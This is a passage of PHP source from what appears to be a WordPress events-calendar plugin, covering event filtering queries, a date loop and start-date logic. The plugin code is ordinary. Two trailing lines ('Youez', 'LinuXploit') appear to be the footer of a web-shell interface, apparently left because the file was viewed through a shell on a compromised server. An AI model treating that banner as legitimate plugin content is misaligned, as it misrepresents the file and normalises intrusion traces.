        if (!is_null($filter_organizer) && $filter_organizer != 'undefined'){
            $tax_query[] = array(
                'taxonomy'  => 'mec_organizer',
                'field'     => 'id',
                'terms'     => is_array($filter_organizer) ? $filter_organizer : array($filter_organizer),
                'operator'  => 'IN'
            );
        }

        if (!is_null($speaker) && $speaker != 'undefined'){
            $tax_query[] = array(
                'taxonomy'  => 'mec_speaker',
                'field'     => 'id',
                'terms'     => array($speaker),
                'operator'  => 'IN'
            );
        }

        if (!is_null($label) && $label != 'undefined'){
            $tax_query[] = array(
                'taxonomy'  => 'mec_label',
                'field'     => 'id',
                'terms'     => array($label),
                'operator'  => 'IN'
            );
        }

        if (!is_null($filter_label) && $filter_label != 'undefined'){
            $tax_query[] = array(
                'taxonomy'  => 'mec_label',
                'field'     => 'id',
                'terms'     => is_array($filter_label) ? $filter_label : array($filter_label),
                'operator'  => 'IN'
            );
        }

        if (!is_null($filter_author) && $filter_author != 'undefined'){
            $tax_query[] = array(
                'taxonomy'  => 'mec_author',
                'field'     => 'id',
                'terms'     => is_array($filter_author) ? $filter_author : array($filter_author),
                'operator'  => 'IN'
            );
        }

        $mec_tag_query = NULL;
        if (!is_null($tag) && $tag != 'undefined'){
            $term = get_term_by('id', $tag, apply_filters('mec_taxonomy_tag', ''));
            if($term) $mec_tag_query = $term->slug;
        }

        if (!is_null($filter_tag) && $filter_tag != 'undefined'){
            $term = get_term_by('id', $filter_tag, apply_filters('mec_taxonomy_tag', ''));
            if($term) $mec_tag_query = $term->slug;
        }

        // Meta Query
        $meta_query = array(
            'relation' => 'AND',
        );
        if (!is_null($cost_min) && $cost_min != 'undefined'){
            $meta_query[] = array(
                'key'     => 'mec_cost',
                'value'   => $cost_min,
                'type'    => 'numeric',
                'compare' => '>=',
            );
        }
        if (!is_null($cost_max) && $cost_max != 'undefined'){
            $meta_query[] = array(
                'key'     => 'mec_cost',
                'value'   => $cost_max,
                'type'    => 'numeric',
                'compare' => '<=',
            );
        }

        $this->args['tax_query'] = $tax_query;
        $this->args['meta_query'] = $meta_query;
        $this->args['tag'] = $mec_tag_query;
        $this->args['lang'] = $locale;

        $dates = $this->period($start, $end, true);
        ksort($dates);

        if($this->show_only_expired_events && $this->loadMoreRunning) $this->show_only_expired_events = '1';

        // Limit
        $this->args['posts_per_page'] = $this->limit;

        $i = 0;
        $found = 0;
        $events = array();

        foreach($dates as $date=>$IDs)
        {
            // No Event
            if(!is_array($IDs) or (is_array($IDs) and !count($IDs))) continue;

            // Check Finish Date
            if(isset($this->maximum_date) and strtotime($date) > strtotime($this->maximum_date)) break;

            // Include Available Events
            $this->args['post__in'] = $IDs;
            
            // Count of events per day
            $IDs_count = array_count_values($IDs);

            // Extending the end date
            $this->end_date = $date;

            // Continue to load rest of events in the first date
            if($i === 0) $this->args['offset'] = $this->offset;
            // Load all events in the rest of dates
            else
            {
                $this->offset = 0;
                $this->args['offset'] = 0;
            }

            // The Query
            $this->args['posts_per_page'] = 1000;
            $this->args = apply_filters('mec_skin_query_args', $this->args, $this);
            $query = new WP_Query($this->args);
            if($query->have_posts())
            {
                if(!isset($events[$date])) $events[$date] = array();
                
                // Day Events
                $d = array();
                
                // The Loop
                while($query->have_posts())
                {
                    $query->the_post();
                    $ID = get_the_ID();

                    $one_occurrence = get_post_meta($ID, 'one_occurrence', true);
                    if ( $show_only_one_occurrence != '0' and !is_null($show_only_one_occurrence) ) {
                        if ($one_occurrence != '1') {
                            if ( !isset($IDs_count[$ID]) ) continue;
                        } else {
                            continue;
                        }
                    }

                    $ID_count = isset($IDs_count[$ID]) ? $IDs_count[$ID] : 1;
                    for($i = 1; $i <= $ID_count; $i++)
                    {
                        $rendered = $this->render->data($ID);

                        $data = new stdClass();
                        $data->ID = $ID;
                        $data->data = $rendered;

                        $data->date = array
                        (
                            'start' => array('date' => $date),
                            'end' => array('date' => $this->main->get_end_date($date, $rendered))
                        );
                        $d[] = $this->render->after_render($data, $this, $i);
                        
                        $found++;
                    }

                    if($found >= 1000)
                    {
                        // Next Offset
                        $this->next_offset = ($query->post_count-($query->current_post+1)) >= 0 ? ($query->current_post+1)+$this->offset : 0;

                        usort($d, array($this, 'sort_day_events'));
                        $events[$date] = $d;

                        // Restore original Post Data
                        wp_reset_postdata();

                        break 2;
                    }
                }

                usort($d, array($this, 'sort_day_events'));
                $events[$date] = $d;
            }
        
            // Restore original Post Data
            wp_reset_postdata();
            $i++;
        }

        // Initialize Occurrences' Data
        MEC_feature_occurrences::fetch($events);

        // Set Offset for Last Page
        if($found < $this->limit)
        {
            // Next Offset
            $this->next_offset = $found + ((isset($date) and $this->start_date === $date) ? $this->offset : 0);
        }
   
        // Set found events
        $this->found = $found;
        return $events;
    }

    /**
     * Returns start day of skin for filtering events
     * @author Webnus <info@webnus.biz>
     * @return array
     */
    public function get_start_date()
    {
        // Default date
        $date = current_time('Y-m-d');

        if(isset($this->skin_options['start_date_type']) and $this->skin_options['start_date_type'] == 'start_current_month') $date = date('Y-m-d', strtotime('first day of this month'));
        elseif(isset($this->skin_options['start_date_type']) and $this->skin_options['start_date_type'] == 'start_next_month') $date = date('Y-m-d', strtotime('first day of next month'));
        elseif(isset($this->skin_options['start_date_type']) and $this->skin_options['start_date_type'] == 'start_last_month') $date = date('Y-m-d', strtotime('first day of last month'));
        elseif(isset($this->skin_options['start_date_type']) and $this->skin_options['start_date_type'] == 'date') $date = date('Y-m-d', strtotime($this->skin_options['start_date']));

        // Hide past events
        if(isset($this->atts['show_past_events']) and !trim($this->atts['show_past_events']))
        {
            $today = current_time('Y-m-d');
            if(strtotime($date) < strtotime($today)) $date = $today;
        }

        // Show only expired events
        if(isset($this->show_only_expired_events) and $this->show_only_expired_events)
        {
            $yesterday = date('Y-m-d', strtotime('Yesterday'));
            if(strtotime($date) > strtotime($yesterday)) $date = $yesterday;
        }

        $time = strtotime($date);
        return array(date('Y', $time), date('m', $time), date('d', $time));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit